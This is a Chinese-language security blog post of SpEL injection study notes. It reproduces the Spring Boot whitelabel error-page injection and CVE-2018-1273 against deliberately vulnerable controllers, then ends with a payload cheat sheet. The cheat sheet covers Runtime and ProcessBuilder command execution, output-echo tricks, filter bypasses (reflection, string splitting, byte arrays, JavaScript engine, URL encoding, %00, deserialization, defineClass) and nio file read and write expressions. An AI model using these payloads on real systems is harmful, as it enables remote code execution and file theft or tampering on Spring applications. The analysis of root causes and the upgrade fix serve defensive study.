前言
主要记载一下SpEL表达式的学习和研究笔记,主要是发现了一个不受限制的回显表达式,完善了一下基于nio做文件读写的表达式,直接看poc可以跳转到文章最后。
环境
springboot 2.5.3
springboot 1.2.0.RELEASE
cve-2018-1273: https://github.com/wearearima/poc-cve-2018-1273
jdk 1.8u40
基础学习和回显实验
这一章节主要介绍和记录一下SpEL的基础语法,然后探索一下SpEL注入实现命令执行后的回显。
语法基础
由于tomcat对GET请求中的| {} 等特殊字符存在限制(RFC 3986),所以使用POST方法传递参数,controller代码如下
@Controller
@RequestMapping("test")
public class TestController {
@ResponseBody
@RequestMapping(value = "/index", method = {RequestMethod.GET, RequestMethod.POST})
public String index(String string) throws IOException {
SpelExpressionParser spelExpressionParser = new SpelExpressionParser();
Expression expression = spelExpressionParser.parseExpression(string);
String out = (String) expression.getValue();
out = out.concat(" get");
return out;
}
}
由于getValue中没有传入参数,所以会从默认容器,也就是spring容器:ApplicationContext中获取;如果给定了容器,则会向具体的容器中获取。简单的实验环境就搭起来了,然后试试常用的SpEL语法
'aaa',表示字符串aaa
T(类名),可以指定使用一个类的类方法
T(java.lang.Runtime).getRuntime().exec("calc")
这里后端会执行语句,然后由于类型转换问题出现报错,所以没有返回值,springboot抛出空白页和500,但是计算器依然弹出。
new 类名,可以直接new一个对象,再执行其中的方法
可见直接new一个对象执行其中的方法,杀伤力极大!需要注意的是,类名最好用全限类名,也就是具体到某个包,不然会因为找不到具体类而报错。
#{…} 用于执行SpEl表达式,并将内容赋值给属性
${…} 主要用于加载外部属性文件中的值
两者还可以混合使用,但需要注意的是{}中的内容必须符合SpEL表达式。这里需要换一下SpEL的写法,否则会因为没有使用模板解析表达式,在传入#{后出现报错。
@ResponseBody
@RequestMapping(value = "/index", method = {RequestMethod.GET, RequestMethod.POST})
public String index(String string) throws IOException {
SpelExpressionParser spelExpressionParser = new SpelExpressionParser();
TemplateParserContext templateParserContext = new TemplateParserContext();
Expression expression = spelExpressionParser.parseExpression(string, templateParserContext);
Integer out = (Integer) expression.getValue();
return Integer.toString(out);
}
现在可以使用#{}和${}了
然后就是SpEL表达式通过xml配置和注解的使用,这里就不详细记录了,文档很多,我们常用的攻击方法也不会涉及到这一步。
回显实验
前面可以看到,通过SpEL可以执行系统命令,那么如何在一行SpEL语句中获得命令执行的回显呢?看了一下网上大佬们的思路,见http://rui0.cn/archives/1043
- 使用commons-io这个组件实现回显,这种方式会受限于目标服务器是否存在这个组件,springboot默认环境下都没有用到这个组件。。
T(org.apache.commons.io.IOUtils).toString(payload).getInputStream())
- 使用jdk>=9中的JShell,这种方式会受限于jdk的版本问题
T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('whatever java code in one statement').toString()
难道jdk原生的类没有办法实现回显的输出吗?我找了,还真有
BufferedReader
直接给payload
new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "gbk")).readLine()
原理很简单,就不多介绍了,这种方式缺点也很明显,只能读取一行,如果执行dir ./命令就凉了,但单行输出还是可以用的
Scanner
payload如下
new java.util.Scanner(new java.lang.ProcessBuilder("cmd", "/c", "dir", ".\").start().getInputStream(), "GBK").useDelimiter("asfsfsdfsf").next()
原理在于Scanner#useDelimiter方法使用指定的字符串分割输出,所以这里给一个乱七八糟的字符串即可,就会让所有的字符都在第一行,然后执行next方法即可获得所有输出。就是稍微难看了点:)
SpEL漏洞复现
首先时低版本下springboot中的错误处理导致的SpEL漏洞
低版本SpringBoot中IllegalStateException
影响版本:
- 1.1.0-1.1.12
- 1.2.0-1.2.7
- 1.3.0
修改pom.xml中的配置
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>1.2.0.RELEASE</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
再改一下controller
@RequestMapping(value = "/index", method = {RequestMethod.GET, RequestMethod.POST})
public String index(String string) throws IOException {
throw new IllegalStateException(string);
}
post传入SpEL表达式:
可见直接解析了数据,再来试试其它payload呢
很奇怪,表达式没什么问题,居然报错了,而且还不是springboot的报错页面。显然需要跟进springboot中的源代码,看看发生了什么。刚刚的输入产生的报错调用栈如下:
org.springframework.expression.spel.SpelParseException: EL1069E:(pos 29): missing expected character '&'
at org.springframework.expression.spel.standard.Tokenizer.process(Tokenizer.java:186)
at org.springframework.expression.spel.standard.Tokenizer.<init>(Tokenizer.java:84)
at org.springframework.expression.spel.standard.InternalSpelExpressionParser.doParseExpression(InternalSpelExpressionParser.java:121)
at org.springframework.expression.spel.standard.SpelExpressionParser.doParseExpression(SpelExpressionParser.java:60)
at org.springframework.expression.spel.standard.SpelExpressionParser.doParseExpression(SpelExpressionParser.java:32)
at org.springframework.expression.common.TemplateAwareExpressionParser.parseExpression(TemplateAwareExpressionParser.java:76)
at org.springframework.expression.common.TemplateAwareExpressionParser.parseExpression(TemplateAwareExpressionParser.java:62)
at org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration$SpelPlaceholderResolver.resolvePlaceholder(ErrorMvcAutoConfiguration.java:210)
at org.springframework.util.PropertyPlaceholderHelper.parseStringValue(PropertyPlaceholderHelper.java:147)
at org.springframework.util.PropertyPlaceholderHelper.parseStringValue(PropertyPlaceholderHelper.java:162)
at org.springframework.util.PropertyPlaceholderHelper.replacePlaceholders(PropertyPlaceholderHelper.java:126)
at org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration$SpelView.render(ErrorMvcAutoConfiguration.java:189)
at org.springframework.web.servlet.DispatcherServlet.render(DispatcherServlet.java:1228)
at org.springframework.web.servlet.DispatcherServlet.processDispatchResult(DispatcherServlet.java:1011)
at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:955)
at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:877)
at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:966)
at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:868)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:644)
省略下方tomcat调用栈
可以看到,抛出报错之后,会从控制器dispatcherServlet捕获到程序抛出错误,从其doDispatch方法调用到其reder方法,那我们在render方法中打个断点往下调试一下,看看发生了什么
render方法中,会先获取View对象,实际获取到的是spring中自动处理错误的view对象(ErrorMvcAutoConfiguration$SpelView),看类名也就知道其大概意思了,也就是返回报错情况下的试图。跟进一下view.render方法
这里的逻辑也比较简单,继续跟进replacePlaceholders方法
public String replacePlaceholders(String value, PlaceholderResolver placeholderResolver) {
Assert.notNull(value, "'value' must not be null");
return parseStringValue(value, placeholderResolver, new HashSet<String>());
}
代码比较简单就不截图了,可见又调用了paseStringValue方法,继续跟进paseStringValue方法,就会看到重点逻辑了
再看看strVal
<html><body><h1>Whitelabel Error Page</h1><p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p><div id='created'>${timestamp}</div><div>There was an unexpected error (type=${error}, status=${status}).</div><div>${message}</div></body></html>
这里需要注意末尾有个message,它就是前面的报错内容。这里的逻辑是在返回的页面内容找到${,这一步其实就是为了找到需要替换的位置,为替换成后面的参数做准备,然后进入while循环,这里意思也很明显,找到了需要替换的位置,然后把具体的值替换到result中。 而result是StringBuilder类,所以替换其中的字符串自然要用replace方法,那我们从replace倒推一下就好了。很方便就可以找到具体的值propVal是从palaceholderResovler.resolvePlaceholder
中获取的,先跟进一下resolvePlaceholder方法
直接可以看到我们熟悉的SpEL表达式,而从context中获取message,也就是我们的输入,然后使用HtmlUtils.htmlEscape这个静态方法进行过滤,跟进一下这个方法
可以看到这个方法的逻辑是遍历每个字符,然后根据convertToReference方法进行替换,讲替换后的字符添加到最后的输出中。继续跟进一下convertToReference方法
该方法对普通的单双引号、尖括号和&进行了替换,然后对特殊的char也进行了一定的替换,这类就不具体看了。回到我们前面的message获取
这里可以看到replace前,再执行了一次parseStringValue方法,而我们传入的参数变成了${new java.lang.ProcessBuilder("calc").start()}
很明显双引号被编码了,由于parseStringValue是根据${来找SpEL表达式的,所以传入#{会无效。进入resolvePlaceholder方法时,参数就变成了new java.lang.ProcessBuilder("calc").start()
由于双引号被编码,出现了&(SpEL中不允许的字符),所以直接表达式无法被执行。到这里就解开了前面那个payload无效的原因。
到这里不仅搞清楚低版本springboot抛出异常时,可能会被SpEL注入攻击的原理,也找到了payload被过滤的具体方式。下面来绕过一下就好了
因为不能出现单双引号,所以借助一些String类的特性,可以传入byte数组,payload如下:
${new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()}
如果直接传入#{xx},或者new xxx并不会执行SpEL,原理前面也从源代码中看到了。
防御或修复方案
升级springboot版本即可,在高版本中,处理传入的参数时,不会循环根据${}去找值,也就避免了利用message获取到抛出的错误内容后,将内容再根据${}取得其中的值丢给SpEL执行,从而消除了这种威胁。
CVE-2018-1273 Spring Data Commons RCE
测试环境https://github.com/wearearima/poc-cve-2018-1273
POC: curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('calc.exe')]=123"
用hackbar打一下这个poc
弹出计算器,从IDEA里面看调用栈如下
org.springframework.core.convert.ConverterNotFoundException: No converter found capable of converting from type [java.lang.ProcessImpl] to type [java.lang.String]
at org.springframework.core.convert.support.GenericConversionService.handleConverterNotFound(GenericConversionService.java:324) ~[spring-core-4.3.16.RELEASE.jar:4.3.16.RELEASE]
at org.springframework.core.convert.support.GenericConversionService.convert(GenericConversionService.java:206) ~[spring-core-4.3.16.RELEASE.jar:4.3.16.RELEASE]
at org.springframework.expression.spel.support.StandardTypeConverter.convertValue(StandardTypeConverter.java:67) ~[spring-expression-4.3.16.RELEASE.jar:4.3.16.RELEASE]
at org.springframework.expression.spel.ExpressionState.convertValue(ExpressionState.java:158) ~[spring-expression-4.3.16.RELEASE.jar:4.3.16.RELEASE]
at org.springframework.expression.spel.ast.Indexer.getValueRef(Indexer.java:139) ~[spring-expression-4.3.16.RELEASE.jar:4.3.16.RELEASE]
at org.springframework.expression.spel.ast.CompoundExpression.getValueRef(CompoundExpression.java:66) ~[spring-expression-4.3.16.RELEASE.jar:4.3.16.RELEASE]
at org.springframework.expression.spel.ast.CompoundExpression.setValue(CompoundExpression.java:95) ~[spring-expression-4.3.16.RELEASE.jar:4.3.16.RELEASE]
at org.springframework.expression.spel.standard.SpelExpression.setValue(SpelExpression.java:445) ~[spring-expression-4.3.16.RELEASE.jar:4.3.16.RELEASE]
at org.springframework.data.web.MapDataBinder$MapPropertyAccessor.setPropertyValue(MapDataBinder.java:187) ~[spring-data-commons-1.13.10.RELEASE.jar:na]
下面太长省略了
可以看到,SpEL的触发是从spring-data-commons-1.13.10.RELEASE.jar!MapDataBinder$MapPropertyAccessor.setPropertyValue
开始的,那我们找到这里的源代码,看看具体咋回事
可以看到具体操作是使用PARSER.parseExpression(propertyName),然后使用expression.setValue(context, value)触发SpEL注入,也就是说这里先对参数中给的key->value对中的key进行SpEL解析,最终造成SpEL注入。那么这种参数设置或绑定是如何触发的呢?
回溯调用栈可以看到这里是data-commons这个包设定的自动化参数绑定,将参数的key->value传了进去,然后到达前面的SpEL注入攻击触发点。
SpEL变形和bypass的tips
原型
// Runtime
T(java.lang.Runtime).getRuntime().exec("calc")
T(Runtime).getRuntime().exec("calc")
// ProcessBuilder
new java.lang.ProcessBuilder({'calc'}).start()
new ProcessBuilder({'calc'}).start()
bypass
- 反射调用
T(String).getClass().forName("java.lang.Runtime").getRuntime().exec("calc")
// 同上,需要有上下文环境
#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc")
// 反射调用+字符串拼接,绕过正则过滤
T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})
// 同上,需要有上下文环境
#this.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})
- 绕过getClass(过滤
''.getClass 替换为 ''.class.getSuperclass().class
''.class.getSuperclass().class.forName('java.lang.Runtime').getDeclaredMethods()[14].invoke(''.class.getSuperclass().class.forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),'calc')
需要注意,这里的14可能需要替换为15,不同jdk版本的序号不同
- url编码绕过
// 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符
// byte数组内容的生成后面有脚本
new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()
// char转字符串,再字符串concat
T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)))
- JavaScript引擎
T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.la"+"ng.Run"+"time.getRu"+"ntime().ex"+"ec(s);")
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval("xxx"),)
- JavaScript+反射
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})),)
- JavaScript+URL编码
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(java.net.URLDecoder).decode("%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29")),)
- Jshell
T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('whatever java code in one statement').toString()
以下tips来自https://landgrey.me/blog/15/
- 绕过T( 过滤
T%00(new)
这涉及到SpEL对字符的编码,%00会被直接替换为空
- 使用Spring工具类反序列化,绕过new关键字
T(org.springframework.util.SerializationUtils).deserialize(T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('rO0AB...'))
// 可以结合CC链食用
- 使用Spring工具类执行自定义类的静态代码块
T(org.springframework.cglib.core.ReflectUtils).defineClass('Singleton',T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('yv66vgAAADIAtQ....'),T(org.springframework.util.ClassUtils).getDefaultClassLoader())
需要在自定义类写静态代码块 static{}
读写文件和回显
- 无版本限制回显
new java.util.Scanner(new java.lang.ProcessBuilder("cmd", "/c", "dir", ".\").start().getInputStream(), "GBK").useDelimiter("asfsfsdfsf").next()
在这个思路上,可以对new、ProcessBuilder等关键字使用反射绕过
- nio 读文件
new String(T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get(T(java.net.URI).create("file:/C:/Users/helloworld/1.txt"))))
- nio 写文件
T(java.nio.file.Files).write(T(java.nio.file.Paths).get(T(java.net.URI).create("file:/C:/Users/helloworld/1.txt")), '123464987984949'.getBytes(), T(java.nio.file.StandardOpenOption).WRITE)